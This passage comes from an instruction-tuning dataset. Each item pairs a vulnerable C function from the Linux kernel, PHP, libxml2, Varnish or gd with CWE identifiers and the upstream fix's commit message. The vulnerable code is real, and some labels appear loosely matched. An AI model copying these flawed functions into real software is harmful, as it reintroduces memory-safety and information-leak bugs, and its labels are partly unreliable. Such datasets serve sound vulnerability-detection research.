signal_64.c:restore_tm_sigcontexts();\n\t * TFHAR is restored from the checkpointed NIP; TEXASR and TFIAR\n\t * were set by the signal delivery.\n\t */\n\terr = restore_general_regs(regs, tm_sr);\n\terr |= restore_general_regs(¤t->thread.ckpt_regs, sr);\n\n\terr |= __get_user(current->thread.tm_tfhar, &sr->mc_gregs[PT_NIP]);\n\n\terr |= __get_user(msr, &sr->mc_gregs[PT_MSR]);\n\tif (err)\n\t\treturn 1;\n\n\t/* Restore the previous little-endian mode */\n\tregs->msr = (regs->msr & ~MSR_LE) | (msr & MSR_LE);\n\n\t/*\n\t * Do this before updating the thread state in\n\t * current->thread.fpr/vr/evr. That way, if we get preempted\n\t * and another task grabs the FPU/Altivec/SPE, it won't be\n\t * tempted to save the current CPU state into the thread_struct\n\t * and corrupt what we are writing there.\n\t */\n\tdiscard_lazy_cpu_state();\n\n#ifdef CONFIG_ALTIVEC\n\tregs->msr &= ~MSR_VEC;\n\tif (msr & MSR_VEC) {\n\t\t/* restore altivec registers from the stack */\n\t\tif (__copy_from_user(¤t->thread.vr_state, &sr->mc_vregs,\n\t\t\t\t sizeof(sr->mc_vregs)) ||\n\t\t __copy_from_user(¤t->thread.transact_vr,\n\t\t\t\t &tm_sr->mc_vregs,\n\t\t\t\t sizeof(sr->mc_vregs)))\n\t\t\treturn 1;\n\t} else if (current->thread.used_vr) {\n\t\tmemset(¤t->thread.vr_state, 0,\n\t\t ELF_NVRREG * sizeof(vector128));\n\t\tmemset(¤t->thread.transact_vr, 0,\n\t\t ELF_NVRREG * sizeof(vector128));\n\t}\n\n\t/* Always get VRSAVE back */\n\tif (__get_user(current->thread.vrsave,\n\t\t (u32 __user *)&sr->mc_vregs[32]) ||\n\t __get_user(current->thread.transact_vrsave,\n\t\t (u32 __user *)&tm_sr->mc_vregs[32]))\n\t\treturn 1;\n\tif (cpu_has_feature(CPU_FTR_ALTIVEC))\n\t\tmtspr(SPRN_VRSAVE, current->thread.vrsave);\n#endif /* CONFIG_ALTIVEC */\n\n\tregs->msr &= ~(MSR_FP | MSR_FE0 | MSR_FE1);\n\n\tif (copy_fpr_from_user(current, &sr->mc_fregs) ||\n\t copy_transact_fpr_from_user(current, &tm_sr->mc_fregs))\n\t\treturn 1;\n\n#ifdef CONFIG_VSX\n\tregs->msr &= ~MSR_VSX;\n\tif (msr & MSR_VSX) {\n\t\t/*\n\t\t * Restore altivec registers from the stack to a local\n\t\t * buffer, then write this out to the thread_struct\n\t\t */\n\t\tif (copy_vsx_from_user(current, &sr->mc_vsregs) ||\n\t\t copy_transact_vsx_from_user(current, &tm_sr->mc_vsregs))\n\t\t\treturn 1;\n\t} else if (current->thread.used_vsr)\n\t\tfor (i = 0; i < 32 ; i++) {\n\t\t\tcurrent->thread.fp_state.fpr[i][TS_VSRLOWOFFSET] = 0;\n\t\t\tcurrent->thread.transact_fp.fpr[i][TS_VSRLOWOFFSET] = 0;\n\t\t}\n#endif /* CONFIG_VSX */\n\n#ifdef CONFIG_SPE\n\t/* SPE regs are not checkpointed with TM, so this section is\n\t * simply the same as in restore_user_regs().\n\t */\n\tregs->msr &= ~MSR_SPE;\n\tif (msr & MSR_SPE) {\n\t\tif (__copy_from_user(current->thread.evr, &sr->mc_vregs,\n\t\t\t\t ELF_NEVRREG * sizeof(u32)))\n\t\t\treturn 1;\n\t} else if (current->thread.used_spe)\n\t\tmemset(current->thread.evr, 0, ELF_NEVRREG * sizeof(u32));\n\n\t/* Always get SPEFSCR back */\n\tif (__get_user(current->thread.spefscr, (u32 __user *)&sr->mc_vregs\n\t\t + ELF_NEVRREG))\n\t\treturn 1;\n#endif /* CONFIG_SPE */\n\n\t/* Now, recheckpoint. This loads up all of the checkpointed (older)\n\t * registers, including FP and V[S]Rs. After recheckpointing, the\n\t * transactional versions should be loaded.\n\t */\n\ttm_enable();\n\t/* Make sure the transaction is marked as failed */\n\tcurrent->thread.tm_texasr |= TEXASR_FS;\n\t/* This loads the checkpointed FP/VEC state, if used */\n\ttm_recheckpoint(¤t->thread, msr);\n\t/* Get the top half of the MSR */\n\tif (__get_user(msr_hi, &tm_sr->mc_gregs[PT_MSR]))\n\t\treturn 1;\n\t/* Pull in MSR TM from user context */\n\tregs->msr = (regs->msr & ~MSR_TS_MASK) | ((msr_hi<<32) & MSR_TS_MASK);\n\n\t/* This loads the speculative FP/VEC state, if used */\n\tif (msr & MSR_FP) {\n\t\tdo_load_up_transact_fpu(¤t->thread);\n\t\tregs->msr |= (MSR_FP | current->thread.fpexc_mode);\n\t}\n#ifdef CONFIG_ALTIVEC\n\tif (msr & MSR_VEC) {\n\t\tdo_load_up_transact_altivec(¤t->thread);\n\t\tregs->msr |= MSR_VEC;\n\t}\n#endif\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-284', 'CWE-369'], 'message': 'powerpc/tm: Block signal return setting invalid MSR state\n\nCurrently we allow both the MSR T and S bits to be set by userspace on\na signal return. Unfortunately this is a reserved configuration and\nwill cause a TM Bad Thing exception if attempted (via rfid).\n\nThis patch checks for this case in both the 32 and 64 bit signals\ncode. If both T and S are set, we mark the context as invalid.\n\nFound using a syscall fuzzer.\n\nFixes: 2b0a576d15e0 (\"powerpc: Add new transactional memory state to the signal context\")\nCc: stable@vger.kernel.org # v3.9+\nSigned-off-by: Michael Neuling \nSigned-off-by: Michael Ellerman '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: http_splitline(struct worker *w, int fd, struct http *hp,\n const struct http_conn *htc, int h1, int h2, int h3)\n{\n\tchar *p, *q;\n\n\tCHECK_OBJ_NOTNULL(htc, HTTP_CONN_MAGIC);\n\tCHECK_OBJ_NOTNULL(hp, HTTP_MAGIC);\n\n\t/* XXX: Assert a NUL at rx.e ? */\n\tTcheck(htc->rxbuf);\n\n\t/* Skip leading LWS */\n\tfor (p = htc->rxbuf.b ; vct_islws(*p); p++)\n\t\tcontinue;\n\n\t/* First field cannot contain SP, CRLF or CTL */\n\tq = p;\n\tfor (; !vct_issp(*p); p++) {\n\t\tif (vct_isctl(*p))\n\t\t\treturn (400);\n\t}\n\thp->hd[h1].b = q;\n\thp->hd[h1].e = p;\n\n\t/* Skip SP */\n\tfor (; vct_issp(*p); p++) {\n\t\tif (vct_isctl(*p))\n\t\t\treturn (400);\n\t}\n\n\t/* Second field cannot contain LWS or CTL */\n\tq = p;\n\tfor (; !vct_islws(*p); p++) {\n\t\tif (vct_isctl(*p))\n\t\t\treturn (400);\n\t}\n\thp->hd[h2].b = q;\n\thp->hd[h2].e = p;\n\n\tif (!Tlen(hp->hd[h2]))\n\t\treturn (400);\n\n\t/* Skip SP */\n\tfor (; vct_issp(*p); p++) {\n\t\tif (vct_isctl(*p))\n\t\t\treturn (400);\n\t}\n\n\t/* Third field is optional and cannot contain CTL */\n\tq = p;\n\tif (!vct_iscrlf(*p)) {\n\t\tfor (; !vct_iscrlf(*p); p++)\n\t\t\tif (!vct_issep(*p) && vct_isctl(*p))\n\t\t\t\treturn (400);\n\t}\n\thp->hd[h3].b = q;\n\thp->hd[h3].e = p;\n\n\t/* Skip CRLF */\n\tp += vct_skipcrlf(p);\n\n\t*hp->hd[h1].e = '\\0';\n\tWSLH(w, fd, hp, h1);\n\n\t*hp->hd[h2].e = '\\0';\n\tWSLH(w, fd, hp, h2);\n\n\tif (hp->hd[h3].e != NULL) {\n\t\t*hp->hd[h3].e = '\\0';\n\t\tWSLH(w, fd, hp, h3);\n\t}\n\n\treturn (http_dissect_hdrs(w, hp, fd, p, htc));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-269'], 'message': 'Do not consider a CR by itself as a valid line terminator\n\nVarnish (prior to version 4.0) was not following the standard with\nregard to line separator.\n\nSpotted and analyzed by: R\u00e9gis Leroy [regilero] regis.leroy@makina-corpus.com'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: PHP_FUNCTION(openssl_random_pseudo_bytes)\n{\n\tlong buffer_length;\n\tunsigned char *buffer = NULL;\n\tzval *zstrong_result_returned = NULL;\n\tint strong_result = 0;\n\n\tif (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"l|z\", &buffer_length, &zstrong_result_returned) == FAILURE) {\n\t\treturn;\n\t}\n\n\tif (buffer_length <= 0) {\n\t\tRETURN_FALSE;\n\t}\n\n\tif (zstrong_result_returned) {\n\t\tzval_dtor(zstrong_result_returned);\n\t\tZVAL_BOOL(zstrong_result_returned, 0);\n\t}\n\n\tbuffer = emalloc(buffer_length + 1);\n\n#ifdef PHP_WIN32\n\tstrong_result = 1;\n\t/* random/urandom equivalent on Windows */\n\tif (php_win32_get_random_bytes(buffer, (size_t) buffer_length) == FAILURE) {\n\t\tefree(buffer);\n\t\tif (zstrong_result_returned) {\n\t\t\tZVAL_BOOL(zstrong_result_returned, 0);\n\t\t}\n\t\tRETURN_FALSE;\n\t}\n#else\n\tif ((strong_result = RAND_pseudo_bytes(buffer, buffer_length)) < 0) {\n\t\tefree(buffer);\n\t\tif (zstrong_result_returned) {\n\t\t\tZVAL_BOOL(zstrong_result_returned, 0);\n\t\t}\n\t\tRETURN_FALSE;\n\t}\n#endif\n\n\tbuffer[buffer_length] = 0;\n\tRETVAL_STRINGL((char *)buffer, buffer_length, 0);\n\n\tif (zstrong_result_returned) {\n\t\tZVAL_BOOL(zstrong_result_returned, strong_result);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-310'], 'message': 'Fix bug #70014 - use RAND_bytes instead of deprecated RAND_pseudo_bytes'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: PHP_FUNCTION(bcdiv)\n{\n\tchar *left, *right;\n\tint left_len, right_len;\n\tlong scale_param = 0;\n\tbc_num first, second, result;\n\tint scale = BCG(bc_precision), argc = ZEND_NUM_ARGS();\n\n\tif (zend_parse_parameters(argc TSRMLS_CC, \"ss|l\", &left, &left_len, &right, &right_len, &scale_param) == FAILURE) {\n\t\treturn;\n\t}\n\t\n\tif (argc == 3) {\n\t\tscale = (int) ((int)scale_param < 0) ? 0 : scale_param;\n\t}\n\t\n\tbc_init_num(&first TSRMLS_CC);\n\tbc_init_num(&second TSRMLS_CC);\n\tbc_init_num(&result TSRMLS_CC);\n\tphp_str2num(&first, left TSRMLS_CC);\n\tphp_str2num(&second, right TSRMLS_CC);\n\n\tswitch (bc_divide(first, second, &result, scale TSRMLS_CC)) {\n\t\tcase 0: /* OK */\n\t\t\tif (result->n_scale > scale) {\n\t\t\t\tresult->n_scale = scale;\n\t\t\t}\n\t\t\tZ_STRVAL_P(return_value) = bc_num2str(result);\n\t\t\tZ_STRLEN_P(return_value) = strlen(Z_STRVAL_P(return_value));\n\t\t\tZ_TYPE_P(return_value) = IS_STRING;\n\t\t\tbreak;\n\t\tcase -1: /* division by zero */\n\t\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING, \"Division by zero\");\n\t\t\tbreak;\n\t}\n\n\tbc_free_num(&first);\n\tbc_free_num(&second);\n\tbc_free_num(&result);\n\treturn;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Fix bug #72093: bcpowmod accepts negative scale and corrupts _one_ definition\n\nWe can not modify result since it can be copy of _zero_ or _one_, etc. and\n\"copy\" in bcmath is just bumping the refcount.\n\nConflicts:\n\tmain/php_version.h'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void exif_process_TIFF_in_JPEG(image_info_type *ImageInfo, char *CharBuf, size_t length, size_t displacement TSRMLS_DC)\n{\n\tunsigned exif_value_2a, offset_of_ifd;\n\n\t/* set the thumbnail stuff to nothing so we can test to see if they get set up */\n\tif (memcmp(CharBuf, \"II\", 2) == 0) {\n\t\tImageInfo->motorola_intel = 0;\n\t} else if (memcmp(CharBuf, \"MM\", 2) == 0) {\n\t\tImageInfo->motorola_intel = 1;\n\t} else {\n\t\texif_error_docref(NULL EXIFERR_CC, ImageInfo, E_WARNING, \"Invalid TIFF alignment marker\");\n\t\treturn;\n\t}\n\n\t/* Check the next two values for correctness. */\n\texif_value_2a = php_ifd_get16u(CharBuf+2, ImageInfo->motorola_intel);\n\toffset_of_ifd = php_ifd_get32u(CharBuf+4, ImageInfo->motorola_intel);\n\tif ( exif_value_2a != 0x2a || offset_of_ifd < 0x08) {\n\t\texif_error_docref(NULL EXIFERR_CC, ImageInfo, E_WARNING, \"Invalid TIFF start (1)\");\n\t\treturn;\n\t}\n\tif (offset_of_ifd > length) {\n\t\texif_error_docref(NULL EXIFERR_CC, ImageInfo, E_WARNING, \"Invalid IFD start\");\n\t\treturn;\n\t}\n\n\tImageInfo->sections_found |= FOUND_IFD0;\n\t/* First directory starts at offset 8. Offsets starts at 0. */\n\texif_process_IFD_in_JPEG(ImageInfo, CharBuf+offset_of_ifd, CharBuf, length/*-14*/, displacement, SECTION_IFD0 TSRMLS_CC);\n\n#ifdef EXIF_DEBUG\n\texif_error_docref(NULL EXIFERR_CC, ImageInfo, E_NOTICE, \"Process TIFF in JPEG done\");\n#endif\n\n\t/* Compute the CCD width, in milimeters. */\n\tif (ImageInfo->FocalplaneXRes != 0) {\n\t\tImageInfo->CCDWidth = (float)(ImageInfo->ExifImageWidth * ImageInfo->FocalplaneUnits / ImageInfo->FocalplaneXRes);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Fix bug #72094 - Out of bounds heap read access in exif header processing'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: PHP_FUNCTION(xml_parser_create)\n{\n\tphp_xml_parser_create_impl(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0);\t\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Fix bug #72099: xml_parse_into_struct segmentation fault'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int rtnl_fill_link_ifmap(struct sk_buff *skb, struct net_device *dev)\n{\n\tstruct rtnl_link_ifmap map = {\n\t\t.mem_start = dev->mem_start,\n\t\t.mem_end = dev->mem_end,\n\t\t.base_addr = dev->base_addr,\n\t\t.irq = dev->irq,\n\t\t.dma = dev->dma,\n\t\t.port = dev->if_port,\n\t};\n\tif (nla_put(skb, IFLA_MAP, sizeof(map), &map))\n\t\treturn -EMSGSIZE;\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'net: fix infoleak in rtnetlink\n\nThe stack object \u201cmap\u201d has a total size of 32 bytes. Its last 4\nbytes are padding generated by compiler. These padding bytes are\nnot initialized and sent out via \u201cnla_put\u201d.\n\nSigned-off-by: Kangjie Lu \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: struct bpf_map *bpf_map_get_with_uref(u32 ufd)\n{\n\tstruct fd f = fdget(ufd);\n\tstruct bpf_map *map;\n\n\tmap = __bpf_map_get(f);\n\tif (IS_ERR(map))\n\t\treturn map;\n\n\tbpf_map_inc(map, true);\n\tfdput(f);\n\n\treturn map;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703'], 'message': 'bpf: fix refcnt overflow\n\nOn a system with >32Gbyte of phyiscal memory and infinite RLIMIT_MEMLOCK,\nthe malicious application may overflow 32-bit bpf program refcnt.\nIt's also possible to overflow map refcnt on 1Tb system.\nImpose 32k hard limit which means that the same bpf program or\nmap cannot be shared by more than 32k processes.\n\nFixes: 1be7f75d1668 (\"bpf: enable non-root eBPF programs\")\nReported-by: Jann Horn \nSigned-off-by: Alexei Starovoitov \nAcked-by: Daniel Borkmann \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void gdImageFillToBorder (gdImagePtr im, int x, int y, int border, int color)\n{\n\tint lastBorder;\n\t/* Seek left */\n\tint leftLimit = -1, rightLimit;\n\tint i, restoreAlphaBlending = 0;\n\n\tif (border < 0) {\n\t\t/* Refuse to fill to a non-solid border */\n\t\treturn;\n\t}\n\n\trestoreAlphaBlending = im->alphaBlendingFlag;\n\tim->alphaBlendingFlag = 0;\n\n\tif (x >= im->sx) {\n\t\tx = im->sx - 1;\n\t}\n\tif (y >= im->sy) {\n\t\ty = im->sy - 1;\n\t}\n\n\tfor (i = x; i >= 0; i--) {\n\t\tif (gdImageGetPixel(im, i, y) == border) {\n\t\t\tbreak;\n\t\t}\n\t\tgdImageSetPixel(im, i, y, color);\n\t\tleftLimit = i;\n\t}\n\tif (leftLimit == -1) {\n\t\tim->alphaBlendingFlag = restoreAlphaBlending;\n\t\treturn;\n\t}\n\t/* Seek right */\n\trightLimit = x;\n\tfor (i = (x + 1); i < im->sx; i++) {\n\t\tif (gdImageGetPixel(im, i, y) == border) {\n\t\t\tbreak;\n\t\t}\n\t\tgdImageSetPixel(im, i, y, color);\n\t\trightLimit = i;\n\t}\n\t/* Look at lines above and below and start paints */\n\t/* Above */\n\tif (y > 0) {\n\t\tlastBorder = 1;\n\t\tfor (i = leftLimit; i <= rightLimit; i++) {\n\t\t\tint c = gdImageGetPixel(im, i, y - 1);\n\t\t\tif (lastBorder) {\n\t\t\t\tif ((c != border) && (c != color)) {\n\t\t\t\t\tgdImageFillToBorder(im, i, y - 1, border, color);\n\t\t\t\t\tlastBorder = 0;\n\t\t\t\t}\n\t\t\t} else if ((c == border) || (c == color)) {\n\t\t\t\tlastBorder = 1;\n\t\t\t}\n\t\t}\n\t}\n\n\t/* Below */\n\tif (y < ((im->sy) - 1)) {\n\t\tlastBorder = 1;\n\t\tfor (i = leftLimit; i <= rightLimit; i++) {\n\t\t\tint c = gdImageGetPixel(im, i, y + 1);\n\n\t\t\tif (lastBorder) {\n\t\t\t\tif ((c != border) && (c != color)) {\n\t\t\t\t\tgdImageFillToBorder(im, i, y + 1, border, color);\n\t\t\t\t\tlastBorder = 0;\n\t\t\t\t}\n\t\t\t} else if ((c == border) || (c == color)) {\n\t\t\t\tlastBorder = 1;\n\t\t\t}\n\t\t}\n\t}\n\tim->alphaBlendingFlag = restoreAlphaBlending;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Fix #66387: Stack overflow with imagefilltoborder\n\nThe stack overflow is caused by the recursive algorithm in combination with a\nvery large negative coordinate passed to gdImageFillToBorder(). As there is\nalready a clipping for large positive coordinates to the width and height of\nthe image, it seems to be consequent to clip to zero also.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int main(int argc ATTRIBUTE_UNUSED, char **argv ATTRIBUTE_UNUSED) {\n xmlChar filename[PATH_MAX];\n xmlModulePtr module = NULL;\n hello_world_t hello_world = NULL;\n\n /* build the module filename, and confirm the module exists */\n xmlStrPrintf(filename, sizeof(filename),\n (const xmlChar*) \"%s/testdso%s\",\n (const xmlChar*)MODULE_PATH,\n\t\t (const xmlChar*)LIBXML_MODULE_EXTENSION);\n\n module = xmlModuleOpen((const char*)filename, 0);\n if (module)\n {\n if (xmlModuleSymbol(module, \"hello_world\", (void **) &hello_world)) {\n\t fprintf(stderr, \"Failure to lookup\\n\");\n\t return(1);\n\t}\n\tif (hello_world == NULL) {\n\t fprintf(stderr, \"Lookup returned NULL\\n\");\n\t return(1);\n\t}\n\n (*hello_world)();\n\n xmlModuleClose(module);\n }\n\n xmlMemoryDump();\n\n return(0);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-134'], 'message': 'Fix some format string warnings with possible format string vulnerability\n\nFor https://bugzilla.gnome.org/show_bug.cgi?id=761029\n\nDecorate every method in libxml2 with the appropriate\nLIBXML_ATTR_FORMAT(fmt,args) macro and add some cleanups\nfollowing the reports.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: xmlStrVPrintf(xmlChar *buf, int len, const xmlChar *msg, va_list ap) {\n int ret;\n\n if((buf == NULL) || (msg == NULL)) {\n return(-1);\n }\n\n ret = vsnprintf((char *) buf, len, (const char *) msg, ap);\n buf[len - 1] = 0; /* be safe ! */\n\n return(ret);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-134'], 'message': 'Fix some format string warnings with possible format string vulnerability\n\nFor https://bugzilla.gnome.org/show_bug.cgi?id=761029\n\nDecorate every method in libxml2 with the appropriate\nLIBXML_ATTR_FORMAT(fmt,args) macro and add some cleanups\nfollowing the reports.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: xmlSchemaSimpleTypeErr(xmlSchemaAbstractCtxtPtr actxt,\n\t\t xmlParserErrors error,\n\t\t xmlNodePtr node,\n\t\t const xmlChar *value,\n\t\t xmlSchemaTypePtr type,\n\t\t int displayValue)\n{\n xmlChar *msg = NULL;\n\n xmlSchemaFormatNodeForError(&msg, actxt, node);\n\n if (displayValue || (xmlSchemaEvalErrorNodeType(actxt, node) ==\n\t XML_ATTRIBUTE_NODE))\n\tmsg = xmlStrcat(msg, BAD_CAST \"'%s' is not a valid value of \");\n else\n\tmsg = xmlStrcat(msg, BAD_CAST \"The character content is not a valid \"\n\t \"value of \");\n\n if (! xmlSchemaIsGlobalItem(type))\n\tmsg = xmlStrcat(msg, BAD_CAST \"the local \");\n else\n\tmsg = xmlStrcat(msg, BAD_CAST \"the \");\n\n if (WXS_IS_ATOMIC(type))\n\tmsg = xmlStrcat(msg, BAD_CAST \"atomic type\");\n else if (WXS_IS_LIST(type))\n\tmsg = xmlStrcat(msg, BAD_CAST \"list type\");\n else if (WXS_IS_UNION(type))\n\tmsg = xmlStrcat(msg, BAD_CAST \"union type\");\n\n if (xmlSchemaIsGlobalItem(type)) {\n\txmlChar *str = NULL;\n\tmsg = xmlStrcat(msg, BAD_CAST \" '\");\n\tif (type->builtInType != 0) {\n\t msg = xmlStrcat(msg, BAD_CAST \"xs:\");\n\t msg = xmlStrcat(msg, type->name);\n\t} else\n\t msg = xmlStrcat(msg,\n\t\txmlSchemaFormatQName(&str,\n\t\t type->targetNamespace, type->name));\n\tmsg = xmlStrcat(msg, BAD_CAST \"'\");\n\tFREE_AND_NULL(str);\n }\n msg = xmlStrcat(msg, BAD_CAST \".\\n\");\n if (displayValue || (xmlSchemaEvalErrorNodeType(actxt, node) ==\n\t XML_ATTRIBUTE_NODE))\n\txmlSchemaErr(actxt, error, node, (const char *) msg, value, NULL);\n else\n\txmlSchemaErr(actxt, error, node, (const char *) msg, NULL, NULL);\n FREE_AND_NULL(msg)\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-134'], 'message': 'More format string warnings with possible format string vulnerability\n\nFor https://bugzilla.gnome.org/show_bug.cgi?id=761029\n\nadds a new xmlEscapeFormatString() function to escape composed format\nstrings'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: xmlParseInternalSubset(xmlParserCtxtPtr ctxt) {\n /*\n * Is there any DTD definition ?\n */\n if (RAW == '[') {\n ctxt->instate = XML_PARSER_DTD;\n NEXT;\n\t/*\n\t * Parse the succession of Markup declarations and\n\t * PEReferences.\n\t * Subsequence (markupdecl | PEReference | S)*\n\t */\n\twhile ((RAW != ']') && (ctxt->instate != XML_PARSER_EOF)) {\n\t const xmlChar *check = CUR_PTR;\n\t unsigned int cons = ctxt->input->consumed;\n\n\t SKIP_BLANKS;\n\t xmlParseMarkupDecl(ctxt);\n\t xmlParsePEReference(ctxt);\n\n\t /*\n\t * Pop-up of finished entities.\n\t */\n\t while ((RAW == 0) && (ctxt->inputNr > 1))\n\t\txmlPopInput(ctxt);\n\n\t if ((CUR_PTR == check) && (cons == ctxt->input->consumed)) {\n\t\txmlFatalErr(ctxt, XML_ERR_INTERNAL_ERROR,\n\t \"xmlParseInternalSubset: error detected in Markup declaration\\n\");\n\t\tbreak;\n\t }\n\t}\n\tif (RAW == ']') {\n\t NEXT;\n\t SKIP_BLANKS;\n\t}\n }\n\n /*\n * We should be at the end of the DOCTYPE declaration.\n */\n if (RAW != '>') {\n\txmlFatalErr(ctxt, XML_ERR_DOCTYPE_NOT_FINISHED, NULL);\n }\n NEXT;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Heap-based buffer overread in xmlNextChar\n\nFor https://bugzilla.gnome.org/show_bug.cgi?id=759671\n\nwhen the end of the internal subset isn't properly detected\nxmlParseInternalSubset should just return instead of trying\nto process input further.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void get_icu_value_src_php( char* tag_name, INTERNAL_FUNCTION_PARAMETERS) \n{\n\n\tconst char* loc_name \t= NULL;\n\tint loc_name_len \t= 0;\n\n\tchar* tag_value\t\t= NULL;\n\tchar* empty_result\t= \"\";\n\n\tint result \t\t= 0;\n\tchar* msg \t\t= NULL;\n\n\tUErrorCode status \t= U_ZERO_ERROR;\n\n\tintl_error_reset( NULL TSRMLS_CC );\n\n\tif(zend_parse_parameters( ZEND_NUM_ARGS() TSRMLS_CC, \"s\",\n\t&loc_name ,&loc_name_len ) == FAILURE) {\n\t\tspprintf(&msg , 0, \"locale_get_%s : unable to parse input params\", tag_name );\n\t\tintl_error_set( NULL, U_ILLEGAL_ARGUMENT_ERROR, msg , 1 TSRMLS_CC );\n\t\tefree(msg);\n\n\t\tRETURN_FALSE;\n }\n\n\tif(loc_name_len == 0) {\n\t\tloc_name = intl_locale_get_default(TSRMLS_C);\n\t}\n\n\t/* Call ICU get */\n\ttag_value = get_icu_value_internal( loc_name , tag_name , &result ,0);\n\n\t/* No value found */\n\tif( result == -1 ) {\n\t\tif( tag_value){\n\t\t\tefree( tag_value);\n\t\t}\n\t\tRETURN_STRING( empty_result , TRUE);\n\t}\n\n\t/* value found */\n\tif( tag_value){\n\t\tRETURN_STRING( tag_value , FALSE);\n\t}\n\n\t/* Error encountered while fetching the value */\n\tif( result ==0) {\n\t\tspprintf(&msg , 0, \"locale_get_%s : unable to get locale %s\", tag_name , tag_name );\n\t\tintl_error_set( NULL, status, msg , 1 TSRMLS_CC );\n\t\tefree(msg);\n\t\tRETURN_NULL();\n\t}\n\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Fix bug #72241: get_icu_value_internal out-of-bounds read'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static char* lookup_loc_range(const char* loc_range, HashTable* hash_arr, int canonicalize TSRMLS_DC)\n{\n\tint\ti = 0;\n\tint\tcur_arr_len = 0;\n\tint result = 0;\n\n\tchar* lang_tag = NULL;\n\tzval** ele_value = NULL;\n\tchar** cur_arr = NULL;\n\n\tchar* cur_loc_range\t= NULL;\n\tchar* can_loc_range\t= NULL;\n\tint\tsaved_pos = 0;\n\n\tchar* return_value = NULL;\n\n\tcur_arr = ecalloc(zend_hash_num_elements(hash_arr)*2, sizeof(char *));\n\t/* convert the array to lowercase , also replace hyphens with the underscore and store it in cur_arr */\n\tfor(zend_hash_internal_pointer_reset(hash_arr);\n\t\tzend_hash_has_more_elements(hash_arr) == SUCCESS;\n\t\tzend_hash_move_forward(hash_arr)) {\n\t\t\n\t\tif (zend_hash_get_current_data(hash_arr, (void**)&ele_value) == FAILURE) {\n\t\t\t/* Should never actually fail since the key is known to 